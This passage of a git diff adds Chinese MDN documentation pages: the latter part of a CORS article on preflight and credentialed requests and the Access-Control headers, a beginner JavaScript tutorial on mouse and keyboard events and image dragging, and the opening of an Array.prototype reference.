+function callOtherDomain(){
+  if(invocation)
+    {
+      invocation.open('POST', url, true);
+      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
+      invocation.setRequestHeader('Content-Type', 'application/xml');
+      invocation.onreadystatechange = handler;
+      invocation.send(body);
+    }
+}
+
+......
+
+ +

上面的代码使用 POST 请求发送一个 XML 文档,该请求包含了一个自定义的请求首部字段(X-PINGOTHER: pingpong)。另外,该请求的 Content-Type 为 application/xml。因此,该请求需要首先发起“预检请求”。

+ +

+ +
OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+ +

预检请求完成之后,发送实际请求:

+ +
POST /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+X-PINGOTHER: pingpong
+Content-Type: text/xml; charset=UTF-8
+Referer: http://foo.example/examples/preflightInvocation.html
+Content-Length: 55
+Origin: http://foo.example
+Pragma: no-cache
+Cache-Control: no-cache
+
+<?xml version="1.0"?><person><name>Arun</name></person>
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:40 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 235
+Keep-Alive: timeout=2, max=99
+Connection: Keep-Alive
+Content-Type: text/plain
+
+[Some GZIP'd payload]
+ +

浏览器检测到,从 JavaScript 中发起的请求需要被预检。从上面的报文中,我们看到,第 1~12 行发送了一个使用 OPTIONS 方法的“预检请求”。 OPTIONS 是 HTTP/1.1 协议中定义的方法,用以从服务器获取更多信息。该方法不会对服务器资源产生影响。 预检请求中同时携带了下面两个首部字段:

+ +
Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+ +

首部字段 Access-Control-Request-Method 告知服务器,实际请求将使用 POST 方法。首部字段 Access-Control-Request-Headers 告知服务器,实际请求将携带两个自定义请求首部字段:X-PINGOTHER 与 Content-Type。服务器据此决定,该实际请求是否被允许。

+ +

第14~26 行为预检请求的响应,表明服务器将接受后续的实际请求。重点看第 17~20 行:

+ +
Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+ +

首部字段 Access-Control-Allow-Methods 表明服务器允许客户端使用 POST, GET OPTIONS 方法发起请求。该字段与 HTTP/1.1 Allow: response header 类似,但仅限于在需要访问控制的场景中使用。

+ +

首部字段 Access-Control-Allow-Headers 表明服务器允许请求中携带字段 X-PINGOTHER Content-Type Access-Control-Allow-Methods 一样,Access-Control-Allow-Headers 的值为逗号分割的列表。

+ +

最后,首部字段 Access-Control-Max-Age 表明该响应的有效时间为 86400 秒,也就是 24 小时。在有效时间内,浏览器无须为同一请求再次发起预检请求。请注意,浏览器自身维护了一个最大有效时间,如果该首部字段的值超过了最大有效时间,将不会生效。

+ +

预检请求与重定向

+ +

大多数浏览器不支持针对于预检请求的重定向。如果一个预检请求发生了重定向,浏览器将报告错误:

+ +
+

The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight

+
+ +
+

Request requires preflight, which is disallowed to follow cross-origin redirect

+
+ +

CORS 最初要求该行为,不过在后续的修订中废弃了这一要求

+ +

在浏览器的实现跟上规范之前,有两种方式规避上述报错行为:

+ +
    +
  • 在服务端去掉对预检请求的重定向;
  • +
  • 将实际请求变成一个简单请求。
  • +
+ +

如果上面两种方式难以做到,我们仍有其他办法:

+ + + +

不过,如果请求是由于存在 Authorization 字段而引发了预检请求,则这一方法将无法使用。这种情况只能由服务端进行更改。

+ +

附带身份凭证的请求

+ +

Fetch 与 CORS 的一个有趣的特性是,可以基于  HTTP cookies 和 HTTP 认证信息发送身份凭证。一般而言,对于跨域 {{domxref("XMLHttpRequest")}} 或 Fetch 请求,浏览器不会发送身份凭证信息。如果要发送凭证信息,需要设置 XMLHttpRequest 的某个特殊标志位。

+ +

本例中,http://foo.example 的某脚本向 http://bar.other 发起一个GET 请求,并设置 Cookies:

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/credentialed-content/';
+
+function callOtherDomain(){
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.withCredentials = true;
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+ +

第 7 行将 XMLHttpRequest 的 withCredentials 标志设置为 true,从而向服务器发送 Cookies。因为这是一个简单 GET 请求,所以浏览器不会对其发起“预检请求”。但是,如果服务器端的响应中未携带 Access-Control-Allow-Credentials: true ,浏览器将不会把响应内容返回给请求的发送者。

+ +

+ +

客户端与服务器端交互示例如下:

+ +
GET /resources/access-control-with-credentials/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/credential.html
+Origin: http://foo.example
+Cookie: pageAccess=2
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:34:52 GMT
+Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
+X-Powered-By: PHP/5.2.6
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Credentials: true
+Cache-Control: no-cache
+Pragma: no-cache
+Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 106
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+
+[text/plain payload]
+ +

即使第 11 行指定了 Cookie 的相关信息,但是,如果 bar.other 的响应中缺失 {{HTTPHeader("Access-Control-Allow-Credentials")}}: true(第 19 行),则响应内容不会返回给请求的发起者。

+ +

附带身份凭证的请求与通配符

+ +

对于附带身份凭证的请求,服务器不得设置 Access-Control-Allow-Origin 的值为“*”。

+ +

这是因为请求的首部中携带了 Cookie 信息,如果 Access-Control-Allow-Origin 的值为“*”,请求将会失败。而将 Access-Control-Allow-Origin 的值设置为 http://foo.example,则请求将成功执行。

+ +

另外,响应首部中也携带了 Set-Cookie 字段,尝试对 Cookie 进行修改。如果操作失败,将会抛出异常。

+ +

HTTP 响应首部字段

+ +

本节列出了规范所定义的响应首部字段。上一小节中,我们已经看到了这些首部字段在实际场景中是如何工作的。

+ +

Access-Control-Allow-Origin

+ +

响应首部中可以携带一个 {{HTTPHeader("Access-Control-Allow-Origin")}} 字段,其语法如下:

+ +
Access-Control-Allow-Origin: <origin> | *
+
+ +

其中,origin 参数的值指定了允许访问该资源的外域 URI。对于不需要携带身份凭证的请求,服务器可以指定该字段的值为通配符,表示允许来自所有域的请求。

+ +

例如,下面的字段值将允许来自 http://mozilla.com 的请求:

+ +
Access-Control-Allow-Origin: http://mozilla.com
+ +

如果服务端指定了具体的域名而非“*”,那么响应首部中的 Vary 字段的值必须包含 Origin。这将告诉客户端:服务器对不同的源站返回不同的内容。

+ +

Access-Control-Expose-Headers

+ +

译者注:在跨域访问时,XMLHttpRequest对象的getResponseHeader()方法只能拿到一些最基本的响应头,Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma,如果要访问其他头,则需要服务器设置本响应头。

+ +

{{HTTPHeader("Access-Control-Expose-Headers")}} 头让服务器把允许浏览器访问的头放入白名单,例如:

+ +
Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
+
+ +

这样浏览器就能够通过getResponseHeader访问X-My-Custom-Header和 X-Another-Custom-Header 响应头了。

+ +

Access-Control-Max-Age

+ +

{{HTTPHeader("Access-Control-Max-Age")}} 头指定了preflight请求的结果能够被缓存多久,请参考本文在前面提到的preflight例子。

+ +
Access-Control-Max-Age: <delta-seconds>
+
+ +

delta-seconds 参数表示preflight请求的结果在多少秒内有效。

+ +

Access-Control-Allow-Credentials

+ +

{{HTTPHeader("Access-Control-Allow-Credentials")}} 头指定了当浏览器的credentials设置为true时是否允许浏览器读取response的内容。当用在对preflight预检测请求的响应中时,它指定了实际的请求是否可以使用credentials。请注意:简单 GET 请求不会被预检;如果对此类请求的响应中不包含该字段,这个响应将被忽略掉,并且浏览器也不会将相应内容返回给网页。

+ +
Access-Control-Allow-Credentials: true
+
+ +

上文已经讨论了附带身份凭证的请求

+ +

Access-Control-Allow-Methods

+ +

{{HTTPHeader("Access-Control-Allow-Methods")}} 首部字段用于预检请求的响应。其指明了实际请求所允许使用的 HTTP 方法。

+ +
Access-Control-Allow-Methods: <method>[, <method>]*
+
+ +

相关示例见这里

+ +

Access-Control-Allow-Headers

+ +

{{HTTPHeader("Access-Control-Allow-Headers")}} 首部字段用于预检请求的响应。其指明了实际请求中允许携带的首部字段。

+ +
Access-Control-Allow-Headers: <field-name>[, <field-name>]*
+
+ +

HTTP 请求首部字段

+ +

本节列出了可用于发起跨域请求的首部字段。请注意,这些首部字段无须手动设置。 当开发者使用 XMLHttpRequest 对象发起跨域请求时,它们已经被设置就绪。

+ +

Origin

+ +

{{HTTPHeader("Origin")}} 首部字段表明预检请求或实际请求的源站。

+ +
Origin: <origin>
+
+ +

origin 参数的值为源站 URI。它不包含任何路径信息,只是服务器名称。

+ +
Note: 有时候将该字段的值设置为空字符串是有用的,例如,当源站是一个 data URL 时。
+ +

注意,不管是否为跨域请求,ORIGIN 字段总是被发送。

+ +

Access-Control-Request-Method

+ +

{{HTTPHeader("Access-Control-Request-Method")}} 首部字段用于预检请求。其作用是,将实际请求所使用的 HTTP 方法告诉服务器。

+ +
Access-Control-Request-Method: <method>
+
+ +

相关示例见这里

+ +

Access-Control-Request-Headers

+ +

{{HTTPHeader("Access-Control-Request-Headers")}} 首部字段用于预检请求。其作用是,将实际请求所携带的首部字段告诉服务器。

+ +
Access-Control-Request-Headers: <field-name>[, <field-name>]*
+
+ +

相关示例见这里

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}{{Spec2('Fetch')}}New definition; supplants CORS specification.
{{SpecName('CORS')}}{{Spec2('CORS')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("http.headers.Access-Control-Allow-Origin")}}

+ +

+ +
    +
  • IE 10 提供了对规范的完整支持,但在较早版本(8 和 9)中,CORS 机制是借由 XDomainRequest 对象完成的。
  • +
  • Firefox 3.5 引入了对 XMLHttpRequests 和 Web 字体的跨域支持(但最初的实现并不完整,这在后续版本中得到完善);Firefox 7 引入了对 WebGL 贴图的跨域支持;Firefox 9 引入了对 drawImage 的跨域支持。
  • +
+ +

参见

+ + + +

{{ languages( { "ja": "ja/HTTP_access_control" } ) }}

diff --git "a/files/zh-cn/orphaned/web/javascript/javascript(\350\265\267\346\255\245)/index.html" "b/files/zh-cn/orphaned/web/javascript/javascript(\350\265\267\346\255\245)/index.html" new file mode 100644 index 0000000000..b9cd157ec1 --- /dev/null +++ "b/files/zh-cn/orphaned/web/javascript/javascript(\350\265\267\346\255\245)/index.html" @@ -0,0 +1,292 @@ +--- +title: javascript(起步) +slug: Web/JavaScript/javascript(起步) +tags: + - bug-840092 +--- +

JavaScript是什么?

+ +

作为一门计算机语言,JavaScript本身强大、复杂,且难于理解。但是,你可以用它来开发一系列的应用程序,它有巨大的潜力来改变当前的互联网现状。下面这个应用程序就是一个很好的例子:Google Maps

+ +

JavaScript(通称为ECMAScript)最大的优势在于,它基于浏览器,但是通过浏览器的支持可以在不同平台上生产出相同结果。 本文举出的例子是 Google Maps,它几乎可以无差别的运行在 Linux、Windows和Mac OS系统中。 伴随大量JavaScript类库的出现,你现在可以用它很轻易的实现文档导航、DOM元素选择、创建动画、处理事件和开发AJAX应用。同其他因各种利益目的而推动的技术不同,JavaScript是一种真正免费并且被广泛采用的跨平台编程语言。

+ +

你应该知道

+ +

JavaScript是一种非常容易入门的编程语言。你只需要一个文本编辑器和web浏览器就可以开始进行学习。 

+ +

在使用 JavaScript进行开发的过程中,可能还会涉及很多其他技术,这不在本文讨论的范围之内。 所以,不要期望在学习的第一天就能开发出一个类似 Google maps 这样的应用程序。

+ +

起步

+ +

JavaScript的起步非常简单。你不需要进行复杂的程序安装,不需要去了解如何使用shell、打包器或编译器。它是通过浏览器来展示的,你所需要做的全部事情就是把你的代码保存为文本文件,然后再浏览器中打开。就这么简单!

+ +

JavaScript非常适合作为入门级的编程语言。它直观形象,并且教会学生认识到这是一个在实际生活中非常有用的工具。 对比C、C++和 Java等语言会发现有很大不同,它们只对那些专业的软件开发者来说是有价值的。

+ +

浏览器兼容问题

+ +

不同浏览器在功能实现上有很多不同之处。Mozilla, Microsoft IE, Apple Safari 和 Opera 在行为上有很多差异。 我们计划在此记录这些差异 documenting these variations。你可以使用各种跨平台的JavaScript API接口来解决这些兼容性问题。这些API隐藏了浏览器之间的各种差异,提供了通用性的功能函数来方便调用。

+ +

如何运行示例

+ +

下面的例子都有相同的代码。要执行它们有多种方法,如果你有自己的个人站点,你还可以在站点上把这些例子保存为新的页面。

+ +

如果你没有自己的个人站点,你可以在电脑上把这些例子保存下来,并使用你自己的浏览器来执行它们。这就是JavaScript简单的地方,也是它适合做入门语言的原因。你不需要编译器或者开发环境,你只需要一个浏览器就可以开始起步了。

+ +

举例:捕获一个鼠标单击事件

+ +

事件处理 (事件类型、事件注册、冒泡等) 的细节是一个非常宽泛的话题,这个简单的例子并不能说明所有的问题。然而,如果我们不涉及JavaScript事件系统,我们就不能很好展示一个鼠标点击捕获的范例。你只需要记得例子里展示的只是JavaScrpt事件系统里非常表象的一些东西,如果你想要了解更多的内部细节,那你可以去查找更详细的相关资料。

+ +

鼠标事件只是浏览器同用户交互过程中所产生的事件系统里的一个子集。下面列举了一些用户在交互过程中产生的具体的鼠标事件:

+ +
    +
  • Click - 用户点击鼠标时触发
  • +
  • DblClick - 用户双击鼠标时触发
  • +
  • MouseDown - 用户按下鼠标键触发 (click事件前半部分)
  • +
  • MouseUp - 用户释放鼠标键触发 (click事件后半部分)
  • +
  • MouseOut - 当鼠标指针离开对象物理边界时触发
  • +
  • MouseOver - 当鼠标指针进入对象物理边界时触发
  • +
  • MouseMove -当鼠标指针在对象物理边界内移动时触发
  • +
  • ContextMenu - 用户点击鼠标右键时触发
  • +
+ +

捕获事件并注册处理函数最简单的办法就是使用HTML,你可以把事件当成元素属性来使用。例子:

+ +
  <span onclick="alert('Hello World!');">Click Here</span>
+ +

要执行的JavaScript代码既可以作为属性值写在行内位置,也可以写成函数并用<script>包裹后放到HTML页面中:

+ +
<script type="text/javascript">
+  function onclick_callback () {
+     alert ("Hello, World!");
+  }
+</script>
+<span onclick="onclick_callback();">Click Here</span>
+ +

另外,事件对象是可以被捕获和引用,开发者可以通过访问事件对象来获取更多信息,如捕获事件的对象、事件类型、哪个鼠标按键被点击等。我们还用上面的例子来说明:

+ +
<script type="text/javascript">
+  function onclick_callback(event) {
+    var eType = event.type;
+    /* the following is for compatability */
+    /* Moz populates the target property of the event object */
+    /* IE populates the srcElement property */
+    var eTarget = event.target || event.srcElement;
+
+    alert( "Captured Event (type=" + eType + ", target=" + eTarget );
+  }
+</script>
+<span onclick="onclick_callback(event);">Click Here</span>
+ +

对于事件的注册和接收还用注意一些的是,你可以给任何使用JavaScript生成的HTMLElement对象做相同的操作。下面的例子展示了一个这样的过程:生成span对象,添加到页面中的body,给span注册mouse-over、mouse-out、mouse-down和 mouse-up事件。

+ +
<script type="text/javascript">
+  function mouseevent_callback(event) {
+    /* The following is for compatability */
+    /* IE does NOT by default pass the event object */
+    /* obtain a ref to the event if one was not given */
+    if (!event) event = window.event;
+
+    /* obtain event type and target as earlier */
+    var eType = event.type;
+    var eTarget = event.target || event.srcElement;
+    alert(eType +' event on element with id: '+ eTarget.id);
+  }
+
+ function onload () {
+   /* obtain a ref to the 'body' element of the page */
+   var body = document.body;
+   /* create a span element to be clicked */
+   var span = document.createElement('span');
+   span.id = 'ExampleSpan';
+   span.appendChild(document.createTextNode ('Click Here!'));
+
+   /* register the span object to receive specific mouse events */
+   span.onmousedown = mouseevent_callback;
+   span.onmouseup = mouseevent_callback;
+   span.onmouseover = mouseevent_callback;
+   span.onmouseout = mouseevent_callback;
+
+   /* display the span on the page */
+   body.appendChild(span);
+}
+</script>
+ +

{{ draft() }}

+ +

举例:捕获一个键盘事件

+ +

同上面的例子类似,键盘事件捕获也依赖于JavaScript事件系统。当键盘上的键被使用的时候触发键盘事件。

+ +

下面的列表展示了一些具体的键盘事件,同鼠标事件相比是很少的:

+ +
    +
  • KeyPress - 按键被按下并且释放后触发
  • +
  • KeyDown - 按键被按下但是还没有被释放时触发
  • +
  • KeyUp - 按键被释放时触发
  • +
  • TextInput ( Webkit浏览器下可以使用,并且只在输入时有效) - 通过粘贴、语音或者键盘输入文本时触发。本文不介绍该事件。
  • +
+ +

在一个 keypress 事件中,键值的Unicode编码会存储到属性keyCode或者charCode 中,但是两者不会同时存在。按键会生成一个字母 (如 'a'),这时会把字母的编码存储到charCode 中,注意这里是区分大小写的( charCode 会判断shift键是否同时被按下)。其他情况下,编码会存储到 keyCode中。

+ +

捕获键盘事件最简单的方法仍然是在HTML中注册键盘事件的处理函数,在元素属性中处理相关事件。 举例:

+ +
  <input type="text" onkeypress="alert ('Hello World!');"></input>
+
+ +

同鼠标事件类似,你的 JavaScript代码既可以写到属性值内,也可以作为函数用<script包裹后写到HTML页面中:

+ +
<script type="text/javascript">
+  function onkeypress_callback () {
+    alert ("Hello, World!");
+  }
+</script>
+
+<input onkeypress="onkeypress_callback();"></input>
+
+ +

捕获事件和引用事件源(一个真实的键被按下时) 的方法同鼠标事件类似:

+ +
<script type="text/javascript">
+  function onkeypress_callback(evt) {
+      var eType = evt.type; // Will return "keypress" as the event type
+      var eCode = 'keyCode is ' + evt.keyCode;
+      var eChar = 'charCode is ' + evt.charCode;
+
+      alert ("Captured Event (type=" + eType + ", key Unicode value=" + eCode + ", ASCII value=" + eChar + ")");
+   }
+</script>
+<input onkeypress="onkeypress_callback(event);"></input>
+ +

要捕获页面上所有的键盘事件,可以在document上注册和绑定相关的处理函数:

+ +
<script type="text/javascript">
+  document.onkeypress = key_event;
+  document.onkeydown = key_event;
+  document.onkeyup = key_event;
+
+  function key_event(evt) {
+      var eType = evt.type;
+      var eCode = "ASCII code is " + evt.keyCode;
+      var eChar = 'charCode is ' + evt.charCode;
+
+      alert ("Captured Event (type=" + eType + ", key Unicode value=" + eCode + ", ASCII value=" + eChar + ")");
+   }
+</script>
+ +

下面是一个完整的键盘事件处理过程:

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <script>
+    var metaChar = false;
+    var exampleKey = 16;
+    function keyEvent(event) {
+      var key = event.keyCode || event.which;
+      var keychar = String.fromCharCode(key);
+      if (key==exampleKey) { metaChar = true; }
+      if (key!=exampleKey) {
+         if (metaChar) {
+            alert("Combination of metaKey + " + keychar)
+            metaChar = false;
+         } else { alert("Key pressed " + key); }
+      }
+    }
+    function metaKeyUp (event) {
+      var key = event.keyCode || event.which;
+      if (key==exampleKey) { metaChar = false; }
+    }
+  </script>
+</head>
+<body onkeydown="keyEvent(event)" onkeyup="metaKeyUp(event)">
+</body>
+</html>
+ +

浏览器 bugs 和 quirks

+ +

键盘事件中有两个可用的属性keyCode 和 charCode。通常情况下,keyCode 指向的是用户按下的键盘上的那个键,而charCode 存储的是相应键的 ASCII 码值。这两个值不一定相同,如, 小写 'a' 和 大写 'A' 拥有相同的 keyCode,因为用户按下的是相同的按键,但是他们的charCode不同,因为两个字母的码值不同。 

+ +

不同浏览器对于charCode的处理方式并不统一。例如Internet Explorer 和Opera 并不支持 charCode,他们把字母信息写到了keyCode中,而且只在 onkeypress下有效。在 Onkeydown 和Onkeyup的事件中, keyCode 存储的仍然是按键的相关信息。 Firefox 则使用 "which", 来区分字母。.

+ +

可以到 Mozilla 文档 Keyboard Events 去了解关于键盘事件的更多信息。.

+ +

{{ draft() }}

+ +

举例:拖曳图片

+ +

下面的例子展示了firefox浏览器下如何实现拖动图片:

+ +
<!DOCTYPE html>
+<html>
+<head>
+<style type='text/css'>
+img { position: absolute; }
+</style>
+
+<script type='text/javascript'>
+window.onload = function() {
+
+  movMeId=document.getElementById("ImgMov");
+  movMeId.style.top = "80px";
+  movMeId.style.left = "80px";
+  movMeId.style.position = "absolute";
+
+  document.onmousedown = coordinates;
+  document.onmouseup=mouseup;
+
+  function coordinates(e) {
+    if (e == null) { e = window.event;}
+    var sender = (typeof( window.event ) != "undefined" ) ? e.srcElement : e.target;
+
+    if (sender.id=="ImgMov") {
+      mouseover = true;
+      pleft = parseInt(movMeId.style.left);
+      ptop = parseInt(movMeId.style.top);
+      xcoor = e.clientX;
+      ycoor = e.clientY;
+      document.onmousemove=moveImage;
+      return false;
+    } else {
+        return false;
+    }
+  }
+
+  function moveImage(e) {
+    if (e == null) { e = window.event; }
+    movMeId.style.left = pleft+e.clientX-xcoor+"px";
+    movMeId.style.top = ptop+e.clientY-ycoor+"px";
+    return false;
+  }
+
+  function mouseup(e) {
+    document.onmousemove = null;
+  }
+}
+</script>
+</head>
+
+<body>
+  <img id="ImgMov" src="http://mozcom-cdn.mozilla.net/img/covehead/about/logo/download/logo-only.png" width="64" height="64"/>
+  <p>Drag and drop around the image in this page.</p>
+</body>
+
+</html>
+ +

举例:改变大小

+ +
{{todo("Need Content. Or, remove headline")}}
+ +

举例:绘制直线

+ +
+

附加文档信息

+ + +
+ +

 

diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/array/prototype/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/array/prototype/index.html new file mode 100644 index 0000000000..31d65bf734 --- /dev/null +++ b/files/zh-cn/orphaned/web/javascript/reference/global_objects/array/prototype/index.html @@ -0,0 +1,178 @@ +--- +title: Array.prototype +slug: Web/JavaScript/Reference/Global_Objects/Array/prototype +tags: + - Array.prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Array/prototype +--- +
{{JSRef}}
+ +

Array.prototype  属性表示 {{jsxref("Array")}} 构造函数的原型,并允许您向所有Array对象添加新的属性和方法。

+ +
/*
+如果JavaScript本身不提供 first() 方法,
+添加一个返回数组的第一个元素的新方法。
+*/
+
+if(!Array.prototype.first) {
+    Array.prototype.first = function() {
+        console.log(`如果JavaScript本身不提供 first() 方法,
+添加一个返回数组的第一个元素的新方法。`);
+        return this[0];
+    }
+}
+
+ +

描述

+ +

{{jsxref("Array")}}实例继承自 Array.prototype 。与所有构造函数一样,您可以更改构造函数的原型对象,以对所有 {{jsxref("Array")}} 实例进行更改。例如,可以添加新方法和属性以扩展所有Array对象。这用于 {{Glossary("Polyfill", "polyfilling")}}, 例如。

+ +

鲜为人知的事实:Array.prototype 本身也是一个 {{jsxref("Array")}}。

+ +
Array.isArray(Array.prototype);
+// true
+
+ +

{{js_property_attributes(0, 0, 0)}}

+ +

属性

+ +
+
Array.prototype.constructor
+
所有的数组实例都继承了这个属性,它的值就是 {{jsxref("Array")}},表明了所有的数组都是由 {{jsxref("Array")}} 构造出来的。
+
{{jsxref("Array.prototype.length")}}
+
上面说了,因为 Array.prototype 也是个数组,所以它也有 length 属性,这个值为 0,因为它是个空数组。
+
+ +

方法

+ +

会改变自身的方法

+ +

下面的这些方法会改变调用它们的对象自身的值:

+ +
+
{{jsxref("Array.prototype.copyWithin()")}} {{experimental_inline}}
+
在数组内部,将一段元素序列拷贝到另一段元素序列上,覆盖原有的值。
+
{{jsxref("Array.prototype.fill()")}} {{experimental_inline}}
+
将数组中指定区间的所有元素的值,都替换成某个固定的值。
+
{{jsxref("Array.prototype.pop()")}}
+
删除数组的最后一个元素,并返回这个元素。
+
{{jsxref("Array.prototype.push()")}}
+
在数组的末尾增加一个或多个元素,并返回数组的新长度。
+
{{jsxref("Array.prototype.reverse()")}}
+
颠倒数组中元素的排列顺序,即原先的第一个变为最后一个,原先的最后一个变为第一个。
+
{{jsxref("Array.prototype.shift()")}}
+
删除数组的第一个元素,并返回这个元素。
+
{{jsxref("Array.prototype.sort()")}}
+
对数组元素进行排序,并返回当前数组。
+
{{jsxref("Array.prototype.splice()")}}
+
在任意的位置给数组添加或删除任意个元素。
+
{{jsxref("Array.prototype.unshift()")}}
+
在数组的开头增加一个或多个元素,并返回数组的新长度。
+
+ +

不会改变自身的方法

+ +

下面的这些方法绝对不会改变调用它们的对象的值,只会返回一个新的数组或者返回一个其它的期望值。

+ +
+
{{jsxref("Array.prototype.concat()")}}
+
返回一个由当前数组和其它若干个数组或者若干个非数组值组合而成的新数组。
+
{{jsxref("Array.prototype.includes()")}} {{experimental_inline}}
+
判断当前数组是否包含某指定的值,如果是返回 true,否则返回 false
+
{{jsxref("Array.prototype.join()")}}
+
连接所有数组元素组成一个字符串。
+
{{jsxref("Array.prototype.slice()")}}
+
抽取当前数组中的一段元素组合成一个新数组。
+
{{jsxref("Array.prototype.toSource()")}} {{non-standard_inline}}
+
返回一个表示当前数组字面量的字符串。遮蔽了原型链上的 {{jsxref("Object.prototype.toSource()")}} 方法。
+
{{jsxref("Array.prototype.toString()")}}
+
返回一个由所有数组元素组合而成的字符串。遮蔽了原型链上的 {{jsxref("Object.prototype.toString()")}} 方法。
+
{{jsxref("Array.prototype.toLocaleString()")}}
+
返回一个由所有数组元素组合而成的本地化后的字符串。遮蔽了原型链上的 {{jsxref("Object.prototype.toLocaleString()")}} 方法。
+
{{jsxref("Array.prototype.indexOf()")}}
+
返回数组中第一个与指定值相等的元素的索引,如果找不到这样的元素,则返回 -1。
+
{{jsxref("Array.prototype.lastIndexOf()")}}
+
返回数组中最后一个(从右边数第一个)与指定值相等的元素的索引,如果找不到这样的元素,则返回 -1。
+
+ +

遍历方法

+ +

在下面的众多遍历方法中,有很多方法都需要指定一个回调函数作为参数。在每一个数组元素都分别执行完回调函数之前,数组的length属性会被缓存在某个地方,所以,如果你在回调函数中为当前数组添加了新的元素,那么那些新添加的元素是不会被遍历到的。此外,如果在回调函数中对当前数组进行了其它修改,比如改变某个元素的值或者删掉某个元素,那么随后的遍历操作可能会受到未预期的影响。总之,不要尝试在遍历过程中对原数组进行任何修改,虽然规范对这样的操作进行了详细的定义,但为了可读性和可维护性,请不要这样做。

+ +
+
{{jsxref("Array.prototype.forEach()")}}
+
为数组中的每个元素执行一次回调函数。
+
{{jsxref("Array.prototype.entries()")}} {{experimental_inline}}
+
返回一个数组迭代器对象,该迭代器会包含所有数组元素的键值对。
+
{{jsxref("Array.prototype.every()")}}
+
如果数组中的每个元素都满足测试函数,则返回 true,否则返回 false。
+
{{jsxref("Array.prototype.some()")}}
+
如果数组中至少有一个元素满足测试函数,则返回 true,否则返回 false。
+
{{jsxref("Array.prototype.filter()")}}
+
将所有在过滤函数中返回 true 的数组元素放进一个新数组中并返回。
+
{{jsxref("Array.prototype.find()")}} {{experimental_inline}}
+
找到第一个满足测试函数的元素并返回那个元素的值,如果找不到,则返回 undefined
+
{{jsxref("Array.prototype.findIndex()")}} {{experimental_inline}}
+
找到第一个满足测试函数的元素并返回那个元素的索引,如果找不到,则返回 -1
+
{{jsxref("Array.prototype.keys()")}} {{experimental_inline}}
+
返回一个数组迭代器对象,该迭代器会包含所有数组元素的键。
+
{{jsxref("Array.prototype.map()")}}
+
返回一个由回调函数的返回值组成的新数组。
+
{{jsxref("Array.prototype.reduce()")}}
+
从左到右为每个数组元素执行一次回调函数,并把上次回调函数的返回值放在一个暂存器中传给下次回调函数,并返回最后一次回调函数的返回值。
+
{{jsxref("Array.prototype.reduceRight()")}}
+
从右到左为每个数组元素执行一次回调函数,并把上次回调函数的返回值放在一个暂存器中传给下次回调函数,并返回最后一次回调函数的返回值。
+
{{jsxref("Array.prototype.values()")}} {{experimental_inline}}
+
返回一个数组迭代器对象,该迭代器会包含所有数组元素的值。
+
{{jsxref("Array.prototype.@@iterator()", "Array.prototype[@@iterator]()")}} {{experimental_inline}}
+
和上面的 values() 方法是同一个函数。
+
+ +

通用方法

+ +

